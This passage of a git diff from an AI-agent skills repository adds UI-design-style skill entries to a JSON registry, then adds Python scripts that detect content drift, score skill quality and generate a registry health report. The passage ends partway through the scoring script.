"monochromatic-ui", + "path": "skills/design-it/monochromatic-ui", + "category": "design-it", + "name": "monochromatic-ui", + "description": "Web and App implementation guide for Monochromatic UI. Trigger when user wants a single-color palette, high elegance, and strict color discipline.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "monopoly", "path": "skills/monopoly", @@ -21731,6 +22457,28 @@ "reasons": [] } }, + { + "id": "neo-brutalism", + "path": "skills/design-it/neo-brutalism", + "category": "design-it", + "name": "neo-brutalism", + "description": "Web and App implementation guide for Neo-Brutalism. Trigger when user wants thick borders, hard shadows, bright colors, and a playful yet structured look.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "neon-postgres", "path": "skills/neon-postgres", @@ -21885,6 +22633,28 @@ "reasons": [] } }, + { + "id": "neumorphism", + "path": "skills/design-it/neumorphism", + "category": "design-it", + "name": "neumorphism", + "description": "Web and App implementation guide for Neumorphism (Soft UI). Trigger when user wants soft shadows, extruded appearance, and light source simulation.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "new-rails-project", "path": "skills/new-rails-project", @@ -26228,6 +26998,50 @@ "reasons": [] } }, + { + "id": "retro-design", + "path": "skills/design-it/retro-design", + "category": "design-it", + "name": "retro-design", + "description": "Web and App implementation guide for Retro Design (60s-80s). Trigger when user wants vintage aesthetics, warm muted colors, and nostalgic layouts.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, + { + "id": "retro-futurism", + "path": "skills/design-it/retro-futurism", + "category": "design-it", + "name": "retro-futurism", + "description": "Web and App implementation guide for Retro Futurism. Trigger when user wants vintage future concepts, 1950s space age aesthetics, or atompunk vibes.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "returns-reverse-logistics", "path": "skills/returns-reverse-logistics", @@ -27064,6 +27878,28 @@ "reasons": [] } }, + { + "id": "sci-fi-interface", + "path": "skills/design-it/sci-fi-interface", + "category": "design-it", + "name": "sci-fi-interface", + "description": "Web and App implementation guide for Sci-Fi Interface Design. Trigger when user wants HUDs, spacecraft dashboards, or tactical military readouts.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "scientific-writing", "path": "skills/scientific-writing", @@ -28920,6 +29756,28 @@ "reasons": [] } }, + { + "id": "skeuomorphism", + "path": "skills/design-it/skeuomorphism", + "category": "design-it", + "name": "skeuomorphism", + "description": "Web and App implementation guide for Skeuomorphism. Trigger when user wants UI to mimic real-world objects, realistic textures, or physical metaphors.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "skill-audit", "path": "skills/skill-audit", @@ -29638,6 +30496,28 @@ ] } }, + { + "id": "soft-pastel", + "path": "skills/design-it/soft-pastel", + "category": "design-it", + "name": "soft-pastel", + "description": "Web and App implementation guide for Soft Pastel Design. Trigger when user wants gentle colors, calming UI, baby/lifestyle branding, or low-contrast aesthetics.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "software-architecture", "path": "skills/software-architecture", @@ -29704,6 +30584,50 @@ "reasons": [] } }, + { + "id": "spatial-computing-ui", + "path": "skills/design-it/spatial-computing-ui", + "category": "design-it", + "name": "spatial-computing-ui", + "description": "Web and App implementation guide for Spatial Computing UI. Trigger when user wants floating elements, environmental awareness, and Apple Vision Pro style.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, + { + "id": "spatial-design", + "path": "skills/design-it/spatial-design", + "category": "design-it", + "name": "spatial-design", + "description": "Web and App implementation guide for Spatial Design. Trigger when user wants environment-aware layouts, Apple Vision Pro inspiration, and mixed reality aesthetics.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "spec-to-code-compliance", "path": "skills/spec-to-code-compliance", @@ -30652,6 +31576,28 @@ "reasons": [] } }, + { + "id": "swiss-design", + "path": "skills/design-it/swiss-design", + "category": "design-it", + "name": "swiss-design", + "description": "Web and App implementation guide for Swiss Design (International Typographic Style). Trigger when user wants strict grid systems, strong typography, and clean, asymmetrical alignment.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "sympy", "path": "skills/sympy", @@ -30674,6 +31620,28 @@ "reasons": [] } }, + { + "id": "synthwave", + "path": "skills/design-it/synthwave", + "category": "design-it", + "name": "synthwave", + "description": "Web and App implementation guide for Synthwave. Trigger when user wants 80s-inspired neon, dark backgrounds, outrun grids, and Miami Vice aesthetics.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "systematic-debugging", "path": "skills/systematic-debugging", @@ -31864,6 +32832,28 @@ "reasons": [] } }, + { + "id": "tile-design", + "path": "skills/design-it/tile-design", + "category": "design-it", + "name": "tile-design", + "description": "Web and App implementation guide for Tile Design. Trigger when user wants Microsoft Metro style, sharp square information units, and horizontal scrolling grids.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "tmux", "path": "skills/tmux", @@ -31976,6 +32966,28 @@ "reasons": [] } }, + { + "id": "tools-page-seo-optimizer", + "path": "skills/tools-page-seo-optimizer", + "category": "seo", + "name": "tools-page-seo-optimizer", + "description": "Framework-agnostic SEO workflow for any site with multiple tool, product, or feature pages. Covers duplicate content, unique meta tags, heading hierarchy, internal linking, URL slugs, E-E-A-T, content registry pattern for scaling 50\u2013500 pages, and blog content strategy for position 50\u201368 keywords.", + "risk": "safe", + "source": "community", + "date_added": "2026-06-19", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "top-web-vulnerabilities", "path": "skills/top-web-vulnerabilities", @@ -32328,6 +33340,28 @@ "reasons": [] } }, + { + "id": "typography-first", + "path": "skills/design-it/typography-first", + "category": "design-it", + "name": "typography-first", + "description": "Web and App implementation guide for Typography First Design. Trigger when user wants text as the absolute main visual element, with minimal UI chroming.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "ui-a11y", "path": "skills/ui-a11y", @@ -33080,6 +34114,28 @@ "reasons": [] } }, + { + "id": "vaporwave", + "path": "skills/design-it/vaporwave", + "category": "design-it", + "name": "vaporwave", + "description": "Web and App implementation guide for Vaporwave. Trigger when user wants neon colors, retro digital aesthetics, 90s OS elements, and Roman statues.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "variant-analysis", "path": "skills/variant-analysis", @@ -33439,7 +34495,7 @@ "path": "skills/vibecode-production-qa-validator", "category": "devops", "name": "vibecode-production-qa-validator", - "description": "End-to-end production QA, build verification, and launch-readiness checklist for fullstack Next.js apps. Covers TypeScript, linting, tests, build, SEO tags, route regression, and sitemap validation.", + "description": "13-phase production QA for fullstack Next.js apps: build verification, SEO tags, OG images, favicon, route regression, API auth, page speed, lazy load, vulnerability scan, UI/UX cards, error boundaries, database, secure rendering, and cleanup.", "risk": "safe", "source": "self", "date_added": "2026-05-31", @@ -33500,6 +34556,28 @@ "reasons": [] } }, + { + "id": "vibrant-maximalism", + "path": "skills/design-it/vibrant-maximalism", + "category": "design-it", + "name": "vibrant-maximalism", + "description": "Web and App implementation guide for Vibrant Maximalism. Trigger when user wants rich colors, dense layouts, extreme sensory input, and \"more is more\".", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "video-content-extractor", "path": "skills/video-content-extractor", @@ -34138,6 +35216,28 @@ "reasons": [] } }, + { + "id": "widget-based-design", + "path": "skills/design-it/widget-based-design", + "category": "design-it", + "name": "widget-based-design", + "description": "Web and App implementation guide for Widget-Based Design. Trigger when user wants modular blocks, iOS Home Screen aesthetics, and customizable mini-apps.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "wiki-architect", "path": "skills/wiki-architect", @@ -34800,6 +35900,28 @@ "reasons": [] } }, + { + "id": "y2k-design", + "path": "skills/design-it/y2k-design", + "category": "design-it", + "name": "y2k-design", + "description": "Web and App implementation guide for Y2K Design. Trigger when user wants chrome effects, futuristic 2000s look, blob shapes, and tech optimism.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "yann-lecun", "path": "skills/yann-lecun", diff --git a/antigravity-awesome-skills/tools/scripts/detect_drift.py b/antigravity-awesome-skills/tools/scripts/detect_drift.py new file mode 100644 index 00000000..4dbc020d --- /dev/null +++ b/antigravity-awesome-skills/tools/scripts/detect_drift.py @@ -0,0 +1,325 @@ +#!/usr/bin/env python3 +""" +Drift Detector — Antigravity Awesome Skills +Detects when skill content changes significantly compared to a stored baseline. + +Drift is computed via a normalized SHA-256 content hash. The baseline is stored +in data/drift-baseline.json and updated on demand. + +Usage: + # Check drift against stored baseline + node tools/scripts/run-python.js tools/scripts/detect_drift.py + + # Update baseline (run after reviewing changes) + node tools/scripts/run-python.js tools/scripts/detect_drift.py --update-baseline + + # Check a specific skill + node tools/scripts/run-python.js tools/scripts/detect_drift.py --skill ab-test-setup +""" +from __future__ import annotations + +import argparse +import hashlib +import json +import re +import sys +from datetime import datetime, timezone +from pathlib import Path + +from _project_paths import find_repo_root +from validate_skills import configure_utf8_output, parse_frontmatter + + +# --------------------------------------------------------------------------- +# Constants +# --------------------------------------------------------------------------- + +BASELINE_FILE = Path("data") / "drift-baseline.json" +BASELINE_SCHEMA_VERSION = 1 + +# Fields excluded from hash to prevent false positives on metadata-only edits. +_STRIP_PATTERNS = [ + re.compile(r"^date_added:.*$", re.MULTILINE), + re.compile(r"^author:.*$", re.MULTILINE), +] + + +# --------------------------------------------------------------------------- +# Data models +# --------------------------------------------------------------------------- + +class DriftEntry: + __slots__ = ("skill_id", "hash", "length", "updated_at") + + def __init__(self, skill_id: str, hash_: str, length: int, updated_at: str) -> None: + self.skill_id = skill_id + self.hash = hash_ + self.length = length + self.updated_at = updated_at + + def to_dict(self) -> dict: + return { + "skill_id": self.skill_id, + "hash": self.hash, + "length": self.length, + "updated_at": self.updated_at, + } + + @classmethod + def from_dict(cls, d: dict) -> "DriftEntry": + return cls( + skill_id=d["skill_id"], + hash_=d["hash"], + length=d.get("length", 0), + updated_at=d.get("updated_at", ""), + ) + + +class DriftReport: + def __init__(self) -> None: + self.added: list[str] = [] # skills in current state but not in baseline + self.removed: list[str] = [] # skills in baseline but no longer present + self.drifted: list[tuple[str, str, str]] = [] # (skill_id, old_hash, new_hash) + self.unchanged: list[str] = [] + + @property + def has_drift(self) -> bool: + return bool(self.added or self.removed or self.drifted) + + def to_dict(self) -> dict: + return { + "has_drift": self.has_drift, + "added": self.added, + "removed": self.removed, + "drifted": [ + {"skill_id": s, "old_hash": old, "new_hash": new} + for s, old, new in self.drifted + ], + "unchanged_count": len(self.unchanged), + } + + +# --------------------------------------------------------------------------- +# Hash computation +# --------------------------------------------------------------------------- + +def _normalize(content: str) -> str: + """ + Normalize content before hashing to avoid false positives from + whitespace changes or metadata-only edits (date_added, author). + """ + normalized = content + for pattern in _STRIP_PATTERNS: + normalized = pattern.sub("", normalized) + # Collapse multiple blank lines and strip trailing whitespace per line + lines = [line.rstrip() for line in normalized.splitlines()] + normalized = "\n".join(line for line in lines if line or lines) + return normalized.strip() + + +def compute_hash(content: str) -> str: + """Return a 16-character hex SHA-256 of the normalized content.""" + normalized = _normalize(content) + return hashlib.sha256(normalized.encode("utf-8")).hexdigest()[:16] + + +def compute_skill_hash(skill_path: Path) -> tuple[str, int] | None: + """ + Compute the content hash for a single skill directory. + Returns (hash, length) or None if SKILL.md is absent. + """ + skill_file = skill_path / "SKILL.md" + if not skill_file.exists(): + return None + content = skill_file.read_text(encoding="utf-8") + return compute_hash(content), len(content) + + +# --------------------------------------------------------------------------- +# Baseline I/O +# --------------------------------------------------------------------------- + +def load_baseline(baseline_path: Path) -> dict[str, DriftEntry]: + """Load the stored baseline. Returns empty dict if not found.""" + if not baseline_path.exists(): + return {} + try: + raw = json.loads(baseline_path.read_text(encoding="utf-8")) + return { + entry["skill_id"]: DriftEntry.from_dict(entry) + for entry in raw.get("skills", []) + } + except (json.JSONDecodeError, KeyError): + return {} + + +def save_baseline( + baseline_path: Path, + entries: dict[str, DriftEntry], + version: str, +) -> None: + """Persist the baseline to disk.""" + baseline_path.parent.mkdir(parents=True, exist_ok=True) + payload = { + "schema_version": BASELINE_SCHEMA_VERSION, + "generated_at": datetime.now(timezone.utc).isoformat(), + "skills_version": version, + "skills": [e.to_dict() for e in sorted(entries.values(), key=lambda e: e.skill_id)], + } + baseline_path.write_text( + json.dumps(payload, indent=2, ensure_ascii=False), + encoding="utf-8", + ) + + +def build_current_entries(skills_dir: Path) -> dict[str, DriftEntry]: + """Compute DriftEntry for every skill currently on disk (recursively).""" + now = datetime.now(timezone.utc).isoformat() + entries: dict[str, DriftEntry] = {} + for skill_file in sorted(skills_dir.rglob("SKILL.md")): + skill_path = skill_file.parent + if any(part.startswith(".") for part in skill_path.parts): + continue + result = compute_skill_hash(skill_path) + if result is None: + continue + hash_, length = result + # Use path relative to skills_dir as ID to handle nested layouts uniquely + skill_id = skill_path.relative_to(skills_dir).as_posix() + entries[skill_id] = DriftEntry( + skill_id=skill_id, + hash_=hash_, + length=length, + updated_at=now, + ) + return entries + + +# --------------------------------------------------------------------------- +# Diff +# --------------------------------------------------------------------------- + +def compute_drift( + baseline: dict[str, DriftEntry], + current: dict[str, DriftEntry], +) -> DriftReport: + """Compare baseline against current state and return a DriftReport.""" + report = DriftReport() + baseline_ids = set(baseline) + current_ids = set(current) + + report.added = sorted(current_ids - baseline_ids) + report.removed = sorted(baseline_ids - current_ids) + + for skill_id in sorted(baseline_ids & current_ids): + if baseline[skill_id].hash != current[skill_id].hash: + report.drifted.append( + (skill_id, baseline[skill_id].hash, current[skill_id].hash) + ) + else: + report.unchanged.append(skill_id) + + return report + + +# --------------------------------------------------------------------------- +# CLI +# --------------------------------------------------------------------------- + +def _print_report(report: DriftReport) -> None: + configure_utf8_output() + + if not report.has_drift: + print(f"\n✅ No drift detected. {len(report.unchanged)} skills unchanged.") + return + + if report.added: + print(f"\n➕ New skills ({len(report.added)}):") + for s in report.added: + print(f" + {s}") + + if report.removed: + print(f"\n➖ Removed skills ({len(report.removed)}):") + for s in report.removed: + print(f" - {s}") + + if report.drifted: + print(f"\n🔄 Modified skills ({len(report.drifted)}):") + for skill_id, old_hash, new_hash in report.drifted: + print(f" ~ {skill_id} ({old_hash} → {new_hash})") + + print(f"\n {len(report.unchanged)} skills unchanged.") + + +def main(argv: list[str] | None = None) -> int: + configure_utf8_output() + parser = argparse.ArgumentParser( + description="Detect content drift in Antigravity skills against a stored baseline." + ) + parser.add_argument( + "--update-baseline", + action="store_true", + help="Recompute and save baseline from current skill state.", + ) + parser.add_argument( + "--skill", + metavar="SKILL_ID", + help="Limit scan to a specific skill folder name.", + ) + parser.add_argument( + "--json", + action="store_true", + help="Output drift report as JSON.", + ) + args = parser.parse_args(argv) + + repo_root = find_repo_root(__file__) + skills_dir = repo_root / "skills" + baseline_path = repo_root / BASELINE_FILE + + # Read package.json for version + pkg_path = repo_root / "package.json" + version = "unknown" + if pkg_path.exists(): + import json as _json + try: + version = _json.loads(pkg_path.read_text(encoding="utf-8")).get("version", "unknown") + except Exception: + pass + + if args.update_baseline: + print(f"⚙️ Building baseline from: {skills_dir}") + current = build_current_entries(skills_dir) + if args.skill: + current = {k: v for k, v in current.items() if k == args.skill} + save_baseline(baseline_path, current, version) + print(f"✅ Baseline saved → {baseline_path}") + print(f" {len(current)} skills indexed.") + return 0 + + print(f"🔍 Checking drift against: {baseline_path}") + baseline = load_baseline(baseline_path) + + if not baseline: + print("⚠️ No baseline found. Run with --update-baseline to create one.") + return 0 + + current = build_current_entries(skills_dir) + if args.skill: + skill_id = args.skill + baseline = {k: v for k, v in baseline.items() if k == skill_id} + current = {k: v for k, v in current.items() if k == skill_id} + + report = compute_drift(baseline, current) + + if args.json: + import json as _json + print(_json.dumps(report.to_dict(), indent=2)) + else: + _print_report(report) + + return 1 if report.has_drift else 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/antigravity-awesome-skills/tools/scripts/generate_registry_report.py b/antigravity-awesome-skills/tools/scripts/generate_registry_report.py new file mode 100644 index 00000000..618f633c --- /dev/null +++ b/antigravity-awesome-skills/tools/scripts/generate_registry_report.py @@ -0,0 +1,194 @@ +#!/usr/bin/env python3 +""" +Registry Report Generator — Antigravity Awesome Skills +Generates a consolidated health report for the skill registry. + +Combines scoring, security scanning, and drift detection into a single +data/registry-report.json file suitable for dashboards and CI monitoring. + +Usage: + node tools/scripts/run-python.js tools/scripts/generate_registry_report.py + node tools/scripts/run-python.js tools/scripts/generate_registry_report.py --output custom/path.json +""" +from __future__ import annotations + +import argparse +import json +import sys +from datetime import datetime, timezone +from pathlib import Path +from typing import Any + +from _project_paths import find_repo_root +from validate_skills import configure_utf8_output +from score_skills import score_all_skills, build_summary, SkillScore +from detect_drift import ( + load_baseline, + build_current_entries, + compute_drift, + BASELINE_FILE, +) + + +# --------------------------------------------------------------------------- +# Constants +# --------------------------------------------------------------------------- + +DEFAULT_OUTPUT = Path("data") / "registry-report.json" +REPORT_SCHEMA_VERSION = 1 + + +# --------------------------------------------------------------------------- +# Report assembly +# --------------------------------------------------------------------------- + +def _risk_breakdown_sorted(summary: dict) -> list[dict]: + return [ + {"risk": k, "count": v} + for k, v in sorted( + summary.get("risk_breakdown", {}).items(), + key=lambda kv: -kv[1], + ) + ] + + +def _score_distribution_list(summary: dict) -> list[dict]: + order = ["excellent", "good", "needs_improvement", "critical"] + dist = summary.get("score_distribution", {}) + return [{"label": label, "count": dist.get(label, 0)} for label in order] + + +def build_report( + scores: list[SkillScore], + version: str, + drift_summary: dict | None = None, +) -> dict[str, Any]: + summary = build_summary(scores) + + skills_payload = sorted( + [s.to_dict() for s in scores], + key=lambda s: s["scores"]["total"], + ) + + report: dict[str, Any] = { + "schema_version": REPORT_SCHEMA_VERSION, + "generated_at": datetime.now(timezone.utc).isoformat(), + "skills_version": version, + "summary": { + "total_skills": summary.get("total_skills", 0), + "average_score": summary.get("average_score", 0.0), + "min_score": summary.get("min_score", 0.0), + "max_score": summary.get("max_score", 0.0), + "score_distribution": _score_distribution_list(summary), + "risk_breakdown": _risk_breakdown_sorted(summary), + "security": { + "flag_errors": summary.get("flag_errors", 0), + "flag_warnings": summary.get("flag_warnings", 0), + }, + }, + "skills": skills_payload, + } + + if drift_summary is not None: + report["drift"] = drift_summary + + return report + + +# --------------------------------------------------------------------------- +# CLI +# --------------------------------------------------------------------------- + +def _print_summary_banner(report: dict) -> None: + configure_utf8_output() + s = report["summary"] + dist = {d["label"]: d["count"] for d in s["score_distribution"]} + sec = s["security"] + + print(f"\n{'═' * 60}") + print("📋 REGISTRY REPORT GENERATED") + print(f"{'─' * 60}") + print(f" Version : {report['skills_version']}") + print(f" Skills : {s['total_skills']}") + print(f" Avg score : {s['average_score']:.1f}") + print(f" ✅ Excellent : {dist.get('excellent', 0)}") + print(f" 🟢 Good : {dist.get('good', 0)}") + print(f" ⚠️ Needs work : {dist.get('needs_improvement', 0)}") + print(f" ❌ Critical : {dist.get('critical', 0)}") + print(f" Security errors: {sec['flag_errors']}") + print(f" Security warns : {sec['flag_warnings']}") + + if "drift" in report: + d = report["drift"] + print(f" Drift detected : {'yes' if d.get('has_drift') else 'no'}") + if d.get("has_drift"): + print(f" Added : {len(d.get('added', []))}") + print(f" Removed : {len(d.get('removed', []))}") + print(f" Modified : {len(d.get('drifted', []))}") + print(f"{'═' * 60}\n") + + +def main(argv: list[str] | None = None) -> int: + configure_utf8_output() + parser = argparse.ArgumentParser( + description="Generate a consolidated Antigravity skill registry health report." + ) + parser.add_argument( + "--output", + metavar="FILE", + default=str(DEFAULT_OUTPUT), + help=f"Output path for JSON report (default: {DEFAULT_OUTPUT}).", + ) + parser.add_argument( + "--no-drift", + action="store_true", + help="Skip drift detection (faster, useful when no baseline exists).", + ) + args = parser.parse_args(argv) + + repo_root = find_repo_root(__file__) + skills_dir = repo_root / "skills" + output_path = repo_root / args.output + + # Read version from package.json + version = "unknown" + pkg_path = repo_root / "package.json" + if pkg_path.exists(): + try: + version = json.loads(pkg_path.read_text(encoding="utf-8")).get("version", "unknown") + except Exception: + pass + + print(f"📐 Scoring {skills_dir} ...") + scores = score_all_skills(skills_dir) + print(f" {len(scores)} skills scored.") + + drift_summary: dict | None = None + if not args.no_drift: + baseline_path = repo_root / BASELINE_FILE + if baseline_path.exists(): + print("🔍 Computing drift ...") + baseline = load_baseline(baseline_path) + current = build_current_entries(skills_dir) + drift_report = compute_drift(baseline, current) + drift_summary = drift_report.to_dict() + else: + print("ℹ️ No drift baseline found — skipping drift check.") + print(" Run: npm run drift:update to create one.") + + report = build_report(scores, version, drift_summary) + + output_path.parent.mkdir(parents=True, exist_ok=True) + output_path.write_text( + json.dumps(report, indent=2, ensure_ascii=False), + encoding="utf-8", + ) + + print(f"💾 Report saved → {output_path}") + _print_summary_banner(report) + + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/antigravity-awesome-skills/tools/scripts/score_skills.py b/antigravity-awesome-skills/tools/scripts/score_skills.py new file mode 100644 index 00000000..d279d42d --- /dev/null +++ b/antigravity-awesome-skills/tools/scripts/score_skills.py @@ -0,0 +1,459 @@ +#!/usr/bin/env python3 +""" +Skill Quality Scorer — Antigravity Awesome Skills +Computes a quality score for each skill across three dimensions: + - Metadata completeness (30%) + - Documentation structure (40%) + - Security posture (30%) + +Scores are informational only — never blocking in CI. + +Usage: + node tools/scripts/run-python.js tools/scripts/score_skills.py + node tools/scripts/run-python.js tools/scripts/score_skills.py --json + node tools/scripts/run-python.js tools/scripts/score_skills.py --output data/scores.json + node tools/scripts/run-python.js tools/scripts/score_skills.py --threshold 60 +""" +from __future__ import annotations + +import argparse +import json +import os +import re +import sys +from dataclasses import dataclass, field, asdict +from datetime import datetime, timezone +from pathlib import Path +from typing import Any + +from _project_paths import find_repo_root +from validate_skills import ( + configure_utf8_output, + parse_frontmatter, + has_when_to_use_section, +) +from security_scanner import scan_content, ScanResult + +# --------------------------------------------------------------------------- +# Constants +# --------------------------------------------------------------------------- + +VALID_RISKS = {"none", "safe", "critical", "offensive", "unknown"} + +OPTIONAL_BONUS_FIELDS = ("category", "tags", "author", "tools", "license") + +DOCUMENTATION_SECTIONS = [ + re.compile(r"^##\s+Overview\b", re.MULTILINE | re.IGNORECASE), + re.compile(r"^##\s+How\s+It\s+Works\b", re.MULTILINE | re.IGNORECASE), + re.compile(r"^##\s+Example(s)?\b", re.MULTILINE | re.IGNORECASE), + re.compile(r"^##\s+Usage\b", re.MULTILINE | re.IGNORECASE), + re.compile(r"^##\s+Best\s+Practices\b", re.MULTILINE | re.IGNORECASE), + re.compile(r"^##\s+Limitation(s)?\b", re.MULTILINE | re.IGNORECASE), + re.compile(r"^##\s+When\s+to\s+Use", re.MULTILINE | re.IGNORECASE), +] + +FENCED_CODE_BLOCK = re.compile(r"^```", re.MULTILINE) + +# Score weights (must sum to 1.0) +_W_METADATA = 0.30 +_W_DOCS = 0.40 +_W_SECURITY = 0.30 + +# Score thresholds for display labels +LABEL_EXCELLENT = 85 +LABEL_GOOD = 65 +LABEL_NEEDS_IMPROVEMENT = 45 + + +# --------------------------------------------------------------------------- +# Data models +# --------------------------------------------------------------------------- + +@dataclass +class ScoreDimensions: + metadata: float + documentation: float + security: float + total: float + + +@dataclass +class SkillScore: + skill_id: str + risk: str + metadata_score: float + documentation_score: float + security_score: float + total_score: float + label: str + flags: list[dict] = field(default_factory=list) + + def to_dict(self) -> dict[str, Any]: + return { + "skill_id": self.skill_id, + "risk": self.risk, + "scores": { + "metadata": round(self.metadata_score, 1), + "documentation": round(self.documentation_score, 1), + "security": round(self.security_score, 1), + "total": round(self.total_score, 1), + }, + "label": self.label, + "flags": self.flags, + } + + +# --------------------------------------------------------------------------- +# Scoring functions +# --------------------------------------------------------------------------- + +def _label_for(score: float) -> str: + if score >= LABEL_EXCELLENT: + return "excellent" + if score >= LABEL_GOOD: + return "good" + if score >= LABEL_NEEDS_IMPROVEMENT: + return "needs_improvement" + return "critical" + + +def score_metadata(metadata: dict, folder_name: str) -> float: + """ + Score metadata completeness on a 0–100 scale. + + Penalties: + -25 name missing or mismatch with folder + -20 description missing + -10 description too short (<20 chars) + -15 risk missing + -10 risk is 'unknown' (unclassified) + -15 source missing + -10 date_added missing + -10 per validation error (capped at 30) + + Bonuses: + +5 per optional field filled (category, tags, author, tools, license) + """ + score = 100.0 + + name = metadata.get("name", "") + if not name: + score -= 25 + elif name != folder_name: + score -= 25 + + desc = metadata.get("description", "") + if not desc: + score -= 20 + elif len(str(desc)) < 20: + score -= 10 + + risk = metadata.get("risk", "") + if not risk: + score -= 15 + elif risk == "unknown": + score -= 10 + + if not metadata.get("source"): + score -= 15 + + if not metadata.get("date_added"): + score -= 10 + + # Bonuses for optional fields + for bonus_field in OPTIONAL_BONUS_FIELDS: + val = metadata.get(bonus_field) + if val and (not isinstance(val, list) or len(val) > 0): + score += 5 + + return max(0.0, min(100.0, score)) + + +def score_documentation(content: str, body: str) -> float: + """ + Score documentation quality on a 0–100 scale. + + Section coverage (up to 60 pts): + Each recognized section contributes equally to section coverage. + + Content depth (up to 40 pts): + - Has When to Use: 10 pts + - Has code examples: 10 pts + - Body length >= 500 chars: 10 pts + - Body length >= 1000 chars: 10 additional pts + """ + section_hits = sum( + 1 for pattern in DOCUMENTATION_SECTIONS if pattern.search(content) + ) + section_ratio = section_hits / len(DOCUMENTATION_SECTIONS) + section_score = section_ratio * 60.0 + + depth_score = 0.0 + if has_when_to_use_section(content): + depth_score += 10.0 + if FENCED_CODE_BLOCK.search(body): + depth_score += 10.0 + body_len = len(body) + if body_len >= 500: + depth_score += 10.0 + if body_len >= 1000: + depth_score += 10.0 + + return max(0.0, min(100.0, section_score + depth_score)) + + +def score_security(scan_result: ScanResult, metadata: dict) -> float: + """ + Score security posture on a 0–100 scale. + + Penalties: + -20 per error flag + -10 per warning flag + -3 per info flag + + Bonus: + +5 risk is explicit and not 'unknown' + """ + score = 100.0 + + for flag in scan_result.flags: + if flag.severity == "error": + score -= 20.0 + elif flag.severity == "warning": + score -= 10.0 + else: + score -= 3.0 + + risk = metadata.get("risk", "unknown") + if risk in VALID_RISKS and risk != "unknown": + score = min(100.0, score + 5.0) + + return max(0.0, score) + + +def score_skill(skill_path: Path, skill_id: str | None = None) -> SkillScore | None: + """ + Read a skill directory and compute its quality score. + Returns None if the skill cannot be read or parsed. + + Args: + skill_path: Path to the skill directory containing SKILL.md. + skill_id: Override for the skill identifier (e.g. a relative path). + Defaults to the directory name. + """ + skill_file = skill_path / "SKILL.md" + if not skill_file.exists(): + return None + + try: + content = skill_file.read_text(encoding="utf-8") + except OSError: + return None + + metadata, _ = parse_frontmatter(content) + if metadata is None: + metadata = {} + + # Strip frontmatter to get body for documentation scoring + body = re.sub(r"^---\s*\n.*?\n---\s*\n?", "", content, count=1, flags=re.DOTALL) + + effective_id = skill_id if skill_id is not None else skill_path.name + is_offensive = str(metadata.get("risk", "")).lower() == "offensive" + scan_result = scan_content( + skill_id=effective_id, + content=body, + is_offensive=is_offensive, + ) + + # 